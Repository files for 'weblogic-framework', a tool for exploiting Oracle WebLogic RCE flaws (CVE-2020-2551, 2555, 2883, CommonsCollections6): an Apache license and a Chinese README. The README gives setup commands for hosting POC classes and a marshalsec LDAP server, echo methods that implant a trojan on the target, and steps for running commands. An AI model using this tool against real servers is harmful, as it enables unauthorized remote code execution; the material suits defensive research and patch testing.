├── LICENSE ├── README.md └── images ├── 1.png ├── 2.png └── 3.png /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2020 r4v3zn 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## weblogic-framework 2 | 3 | weblogic-framework is the best tool for detecting weblogic vulnerabilities. 4 | 5 | ## 免责申明 6 | 7 | **本工具仅适用于安全技术研究，严禁使用本工具发起网络黑客攻击，造成的法律后果，请使用者自负。** 8 | 9 | ## 使用方式 10 | 11 | ### 常用漏洞 12 | 13 | 由于 Weblogic 的补丁是互斥的，安装最新的补丁时需要进行卸载之前的补丁，所以以下漏洞仅会保持最新、高可用的原则进行使用。 14 | 15 | #### CVE-2020-2551 16 | 17 | **CVE-2020-2551 检测需要配合 LDAP 进行检测，回显 POC 可使用远程 CDN 的地址也可以自启 HTTP 服务提供。** 18 | 19 | ``` 20 | /** 21 | * Title: CVE-2020-2551 22 | * Desc: 23 | *

24 | * 攻击者可以通过 T3、IIOP 协议远程访问 Weblogic Server 服务器上的远程接口，传入恶意数据，从而获取服务器 权限并在未授权情况下远程执行任意代码。 25 | * 漏洞影响版本: 26 | * Oracle WebLogic Server 10.3.6.0.0 27 | * Oracle WebLogic Server 12.1.3.0.0 28 | * Oracle WebLogic Server 12.2.1.3.0 29 | * Oracle WebLogic Server 12.2.1.4.0 30 | * github: https://github.com/0nise/CVE-2020-2551 31 | * paper: https://www.r4v3zn.com/posts/b64d9185/ 32 | *

33 | * Date:2020/3/23 23:05 34 | * Email:woo0nise@gmail.com 35 | * @version 1.1.0 36 | */ 37 | ``` 38 | 39 | **将 POC 目录中文件上传至 HTTP 服务中，或者上传至静态可访问目录，也可以上传至CDN等。** 40 | 41 | ``` 42 | python3 -m http.server 80 43 | ``` 44 | 45 | 远程提供 POC 如下： 46 | 47 | | URL | LDAP 设置地址 | 回显类 | 备注 | 48 | |:-----------------------------------------------------------------------------------|:------------------------------------------------------------------------------|:-----------------------------------|:---------------------------------------| 49 | | http://ip:port/PocServerClusterMasterRemote.class | http://ip:port/#PocServerClusterMasterRemote | ClusterMasterRemote | ClusterMasterRemote 回显（默认） | 50 | | http://ip:port/PocServerRemoteChannelService.class | http://ip:port/#PocServerRemoteChannelService | RemoteChannelService | ClusterMasterRemote 回显 | 51 | | http://ip:port/PocServerRemoteLeasingBasis.class | http://ip:port/#PocServerRemoteLeasingBasis | RemoteLeasingBasis | RemoteLeasingBasis 回显 | 52 | | http://ip:port/PocServerRemoteMigratableServiceCoordinator.class | http://ip:port/#PocServerRemoteMigratableServiceCoordinator | RemoteMigratableServiceCoordinator | RemoteMigratableServiceCoordinator 回显 | 53 | | http://ip:port/PocServerSingletonMonitorRemote.class | http://ip:port/#PocServerSingletonMonitorRemote | SingletonMonitorRemote | SingletonMonitorRemote 回显 | 54 | | http://ip:port/PocServerSubCoordinatorRM.class | http://ip:port/#PocServerSubCoordinatorRM | SubCoordinatorRM | SubCoordinatorRM 回显 | 55 | 56 | 1. 启动 LDAP 服务 57 | 58 | ``` 59 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:port/#PocServerClusterMasterRemote 1099 60 | ``` 61 | 62 | 2. 配置 LDAP 地址： 63 | 64 | ![](./images/1.png) 65 | 66 | #### CommonsCollections6 67 | 68 | ``` 69 | /** 70 | * Title: CommonsCollections6 71 | * Desc: 72 | *

73 | * 攻击者可以通过 T3、IIOP 协议远程访问 Weblogic Server 服务器上的远程接口，传入恶意数据，从而获取服务器 权限并在未授权情况下远程执行任意代码。 74 | * 漏洞影响版本: 75 | * Oracle WebLogic Server 10.3.6.0.0 76 | * Oracle WebLogic Server 12.1.3.0.0 77 | *

78 | * Date:2020/4/5 3:48 79 | * @version 1.0.0 80 | */ 81 | ``` 82 | 83 | #### CVE-2020-2555 84 | 85 | ``` 86 | /** 87 | * Title: CVE-2020-2555 88 | * Desc: 89 | *

90 | * CVE-2020-2555 91 | * Oracle Fusion 中间件 Oracle Coherence 存在缺陷，攻击者可利用该漏洞在未经授权下通过构造 T3、IIOP 协议请求，获取 Weblogic 服务器权限，执行任意命令。 92 | * 该漏洞主要是因为 com.tangosol.util.filter.LimitFilter#toString 触发。 93 | * 漏洞影响版本: 94 | * Oracle Coherence 3.7.1.17 95 | * Oracle Coherence & Weblogic 12.1.3.0.0 96 | * Oracle Coherence & Weblogic 12.2.1.3.0 97 | * Oracle Coherence & Weblogic 12.2.1.4.0 98 | * github: https://github.com/0nise/CVE-2020-2555 99 | * paper: https://www.r4v3zn.com/posts/975312a1/ 100 | *

101 | * Date:2020/3/31 21:31 102 | * @version 1.0.0 103 | */ 104 | ``` 105 | 106 | #### CVE-2020-2883 107 | 108 | ``` 109 | /** 110 | * Title: CVE-2020-2883 111 | * Desc: 112 | *

113 | * CVE-2020-2883 114 | * Oracle Fusion 中间件 Oracle Coherence 存在缺陷，攻击者可利用该漏洞在未经授权下通过构造 T3、IIOP 协议请求，获取 Weblogic服务器权限，执行任意命令。 115 | * 该漏洞主要为 CVE-2020-2555 基于 CommonsCollections2 （ExtractorComparator + PriorityQueue） 的绕过。 116 | * 漏洞影响版本: 117 | * Oracle Coherence 3.7.1.17 118 | * Oracle Coherence & Weblogic 12.1.3.0.0 119 | * Oracle Coherence & Weblogic 12.2.1.3.0 120 | * Oracle Coherence & Weblogic 12.2.1.4.0 121 | *

122 | * Date: 2020/4/19 15:28 123 | * 124 | * @version 1.0.0 125 | */ 126 | ``` 127 | 128 | ### 使用 129 | 130 | - CommonsCollections6 不需要额外配置参数可直接利用，影响版本：Weblogic 10.3.6.0、12.1.3.0 。 131 | - CVE-2020-2555、CVE-2020-2883 利用时特殊情况（Weblogic 版本为 12.2.x）下需要配置 javascript.jar 的下载地址，默认程序会自带一个下载地址，如失效可通过将 `com.bea.javascript.jar` 文件放置在可访问的 HTTP 服务中，影响版本：Weblogic 12.1.3.0.0、12.2.1.3.0、 12.2.1.4.0。 132 | 133 | 攻击成功时会程序会展示 token 名称，复制 token 名称至命令执行中的 token 输入框中，即可执行命令： 134 | 135 | ![](./images/2.png) 136 | 137 | ![](./images/3.png) 138 | 139 | ## 附录 140 | 141 | ### 回显方案 142 | 143 | #### Javascript 144 | 145 | 通过 javascript.jar 进行加载 byte[] 字节码文件进行序列化，写入木马，绑定回显。 146 | 147 | #### FileOutStream 148 | 149 | 1. 通过 FileOutStream 将字节码文件写入 Weblogic 服务器中 150 | 2. 通过 URLClassLoader 进行加载 FileOutStream 写入的文件木马并反射执行木马。 151 | 3. **URLClassLoader 暂且不支持 CVE-2020-2551 漏洞。** 152 | 153 | ### 配置项 154 | 155 | #### 目标地址 156 | 157 | 需要测试目标地址，格式必须为 HTTP 开头 158 | 159 | #### 回显方案 160 | 161 | 见回显方案说明 162 | 163 | #### javascript 地址 164 | 165 | 当回显方案配置为 Javascript 时需要配置，默认情况会配置一个地址，也可自建一个 HTTP 服务将文件作为下载文件。 166 | 167 | #### LDAP 地址 168 | 169 | 验证 CVE-2020-2551 时必须要使用的配置项，默认情况下不会进行配置需要自行开启 LDAP 服务，利用的 EXP 默认存储在 poc 目录中（在手册中附带远程的地址，使用时可直接指向远程地址），开启 LDAP 服务可通过 marshalsec 进行启动，以下为详细的启动命令： 170 | 171 | ``` 172 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:port/#PocServerClusterMasterRemote 1099 173 | ``` 174 | 175 | #### 漏洞编号 176 | 177 | 默认情况下为`请选择`选项，目前已经集成 CVE-2020-2551、CVE-2020-2555、CVE-2020-2883。 178 | 179 | #### 协议 180 | 181 | 测试、利用漏洞时使用的协议，默认情况下使用 IIOP 协议，**T3 协议不稳定**。 182 | 183 | #### 回显类 184 | 185 | 使用 T3、IIOP 协议进行利用时执行命令回显的类，默认情况下为 ClusterMasterRemote。 186 | 187 | #### 编码 188 | 189 | 执行命令执行回显的编码，默认情况下为自动，可通过配置项设置为 UTF-8、GBK 编码。 190 | 191 | #### 版本 192 | 193 | Weblogic 版本，在提前得知版本的情况下可通过该方式进行配置。 194 | 195 | ## FQA 196 | 197 | **Q：为什么加入之前的漏洞？** 198 | 199 | Weblogic 的安全更新补丁是互斥的，安装是需要卸载之前的补丁，所以只需要保持最近一年的精华利用漏洞即可。 200 | 201 | ## 更新日志 202 | 203 | 2020-06-25 204 | 205 | - 新增 T3、IIOP 协议开放检测 206 | - 优化 CVE-2020-2551 回显方案 207 | 208 | 2020-04-04 209 | 210 | - 取消入口为 ip + port 方式修改为 url 方式 211 | - 修改部分实现 212 | 213 | -------------------------------------------------------------------------------- /images/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sv3nbeast/weblogic-framework/787d3b6e07be0e17bfa1c2b73578d3b973fe0a23/images/1.png -------------------------------------------------------------------------------- /images/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sv3nbeast/weblogic-framework/787d3b6e07be0e17bfa1c2b73578d3b973fe0a23/images/2.png -------------------------------------------------------------------------------- /images/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sv3nbeast/weblogic-framework/787d3b6e07be0e17bfa1c2b73578d3b973fe0a23/images/3.png --------------------------------------------------------------------------------